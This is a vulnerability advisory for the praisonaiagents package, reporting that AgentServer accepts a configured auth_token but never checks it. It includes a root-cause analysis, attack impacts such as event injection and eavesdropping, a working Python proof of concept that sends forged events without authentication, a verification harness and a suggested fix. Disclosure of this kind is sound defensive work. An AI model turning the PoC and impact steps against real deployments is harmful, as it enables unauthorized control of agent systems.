--- id: CVE-2026-55528 aliases: - GHSA-7g3p-92qq-8wvh - PYSEC-2026-3899 title: >- praisonaiagents: AgentServer declares auth_token but never enforces it on any route summary: >- praisonaiagents: AgentServer declares auth_token but never enforces it on any route severity: high cvss: 8.2 cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N' vendor: praisonaiagents product: praisonaiagents ecosystem: pip affected: - praisonaiagents < 1.6.58 patched: - praisonaiagents 1.6.58 published: '2026-08-25' updated: '2026-09-10' sourceUpdated: '2026-09-10T12:25:44.393932773Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-7g3p-92qq-8wvh' references: - url: >- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh - url: >- https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1 - url: 'https://github.com/MervinPraison/PraisonAI' - url: 'https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58' - url: 'https://pypi.org/project/praisonaiagents' - url: 'https://github.com/advisories/GHSA-7g3p-92qq-8wvh' - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-55528' tags: - osv - pip - nvd - ghsa epss: 0.00486 epssPercentile: 0.39272 cwe: - CWE-306 - CWE-862 ingestedAt: '2026-08-25T15:27:53.655Z' --- ## Overview **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonaiagents` on PyPI **Affected version (empirically tested):** 1.6.48 **Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server) --- ## TL;DR `AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `"auth_token": "***"` — strongly implying the value is wired into request authentication. It isn't. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — `/info`, `/publish`, `/events`, `/health` — accepts unauthenticated requests regardless of whether `auth_token` is configured. The same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's `Depends(_verify_auth)`. This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to `AgentServer`. ## Root cause ``` Expected behavior when setting ServerConfig(auth_token="…"): "Only requests with a matching Authorization header will be accepted on /publish, /events, /info." Actual behavior (server/server.py, dist 1.6.48): - line 31 auth_token: Optional[str] = None # declared - line 39 "auth_token": "***" if self.auth_token else None # displayed - lines 122-204: no auth middleware, no Depends, no request.headers["Authorization"] read, no comparison to self.config.auth_token. Impact: The configuration knob is dead code from the route handlers' perspective. All routes always run. The operator has no signal that their auth_token was discarded — /info even confirms it was received by displaying "***". ``` ## Sibling proof — the same package gets it right elsewhere `praisonaiagents/ui/a2a/a2a.py`: ```python # line 163 async def _verify_auth(authorization: Optional[str] = Header(None)): """Verify bearer token if auth_token is configured.""" if self.auth_token is None: return ... if len(parts) != 2 or parts[0].lower() != "bearer" \ or parts[1] != self.auth_token: raise HTTPException(status_code=401, ...) # line 192 from fastapi import Depends _a2a_deps = [Depends(_verify_auth)] if self.auth_token else [] ``` That is the missing implementation. Porting it to `AgentServer` — either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route — closes the gap. ## Affected routes (empirically tested) | Route | Method | Accepts unauth requests? | Impact | |-------------|--------|--------------------------|------------------------------------------------------------------------| | `/info` | GET | **Yes (200)** | Leaks server config; confirms `auth_token` is set (`"***"`); reveals client count and CORS config. | | `/publish` | POST | **Yes (200)** | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent. Event payload is whatever the attacker sends. | | `/events` | GET | **Yes (200)** | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). | | `/health` | GET | **Yes (200)** | Leaks live SSE client count. | ## Impact The `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker: 1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`. 2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall. 3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target. `SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above. ## Anchors praisonaiagents 1.6.48, file `praisonaiagents/server/server.py`: | Line | Symbol | What it shows | |-------|---------------------------------------------------------|---------------| | 31 | `auth_token: Optional[str] = None` | Declared. | | 39 | `"auth_token": "***" if self.auth_token else None` | Displayed (masked) in `/info`. | | 121 | `def _create_app(self):` | Route + middleware setup begins. | | 132 | `async def health(request):` | No auth check. | | 139 | `async def events(request):` | No auth check. | | 164 | `async def publish(request):` | No auth check. | | 182 | `async def info(request):` | No auth check. | | 190 | `routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)]` | Routes registered without `Depends`/middleware. | | 197 | `app = Starlette(routes=routes)` | App created. | | 200 | `app = CORSMiddleware(app, …)` | **Only** middleware added. | Source sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes). Sibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`. ## Reproduction (empirical PoC) `poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token="supersecret-not-actually-checked")` and then sends unauthenticated requests to each route. Run log (`poc/run-log.txt`): ``` [1] GET /info (no Authorization) -> HTTP 200 body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0, "config":{"host":"127.0.0.1","port":18765,"cors_origins":[], "auth_token":"***","max_connections":100}} [2] POST /publish (no Authorization) -> HTTP 200 body: {"success":true,"clients":0} [3] GET /health (no Authorization) -> HTTP 200 [4] GET /events (no Authorization) -> HTTP 200 VULNERABLE: 4 unauthenticated routes VERDICT: VULNERABLE EXIT 0 ``` ## Suggested fix Make `AgentServer` reuse the A2A pattern. Smallest fix: ```python # in _create_app, after `app = Starlette(routes=routes)`: if self.config.auth_token: from starlette.middleware.base import BaseHTTPMiddleware from starlette.responses import JSONResponse expected = "Bearer " + self.config.auth_token class _Auth(BaseHTTPMiddleware): async def dispatch(self, request, call_next): if request.url.path == "/health": # if /health should remain public return await call_next(request) got = request.headers.get("authorization", "") if not hmac.compare_digest(got, expected): return JSONResponse({"error": "unauthorized"}, status_code=401) return await call_next(request) app = _Auth(app) app = CORSMiddleware(app, ...) ``` Constant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token. The ServerConfig dataclass declares `auth_token: Optional[str] = None` and the /info endpoint reports it as "***" when set, giving operators the impression that requests will be authenticated. In reality, AgentServer._create_app never reads auth_token, never adds an auth middleware, and never decorates any route with Depends(_verify_auth). This PoC starts AgentServer with auth_token="supersecret", then hits every route without any Authorization header. All requests succeed. """ import json import sys import time import threading from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError from praisonaiagents.server import AgentServer, ServerConfig PORT = 18765 AUTH_TOKEN = "supersecret-not-actually-checked" def http_request(method, path, body=None, headers=None): url = f"http://127.0.0.1:{PORT}{path}" data = None if body is not None: data = json.dumps(body).encode("utf-8") req = Request(url, data=data, method=method, headers=headers or {}) if data is not None: req.add_header("Content-Type", "application/json") try: with urlopen(req, timeout=5) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except HTTPError as e: return e.code, e.read().decode("utf-8", errors="replace") except URLError as e: return None, f"URLError: {e}" def main() -> int: print("=" * 70) print(f"praisonaiagents version: 1.6.48") print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}") print(f" then send UNAUTHENTICATED requests to every route.") print("=" * 70) config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[]) server = AgentServer(config=config) server.start(blocking=False) time.sleep(1.0) # wait for uvicorn to be ready findings = [] code, body = http_request("GET", "/info") info_data = None try: info_data = json.loads(body) except Exception: pass print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}") print(f" body: {body[:200]}") if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***": findings.append("/info: unauthenticated; leaks that auth_token IS configured") payload = {"type": "attacker_injected_event", "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}} code, body = http_request("POST", "/publish", body=payload) print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}") print(f" body: {body[:200]}") if code == 200: try: ok = json.loads(body).get("success") is True except Exception: ok = False if ok: findings.append("/publish: unauthenticated event broadcast to all SSE clients") code, body = http_request("GET", "/health") print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}") if code == 200: findings.append("/health: unauthenticated; leaks live client count") sse_status = [] def sse_reader(): try: req = Request(f"http://127.0.0.1:{PORT}/events", method="GET") with urlopen(req, timeout=3) as resp: sse_status.append(f"HTTP {resp.status}") try: chunk = resp.read(64) sse_status.append(f"first-chunk-bytes={len(chunk)}") except Exception as e: sse_status.append(f"chunk-read: {e}") except Exception as exc: sse_status.append(f"ERR: {exc}") t = threading.Thread(target=sse_reader, daemon=True) t.start() time.sleep(2.0) print(f"\n[4] GET /events (no Authorization header) -> {sse_status}") if sse_status and sse_status[0] == "HTTP 200": findings.append("/events: unauthenticated SSE subscription accepted") print("\n" + "=" * 70) if findings: print(f"VULNERABLE: {len(findings)} unauthenticated routes") for f in findings: print(f" - {f}") print("VERDICT: VULNERABLE") return 0 print("DEFENDED") return 1 if __name__ == "__main__": sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, os, importlib.util BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK) for p in ["praisonaiagents","praisonaiagents.server"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py") srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod) from starlette.testclient import TestClient # Operator DOES configure an auth_token, expecting it to protect the server: cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token") srv = srvmod.AgentServer(config=cfg) # REAL AgentServer app = srv._create_app() # REAL Starlette app + routes client = TestClient(app) print("[*] auth_token configured on server:", repr(cfg.auth_token)) r_info = client.get("/info") print(f"[+] GET /info (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}") r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}}) print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}") assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [*] auth_token configured on server: 'super-secret-operator-token' [+] GET /info (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100} [+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0} [+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research. ## Affected packages - `praisonaiagents < 1.6.58` ## Remediation Upgrade to a patched release: - `praisonaiagents 1.6.58`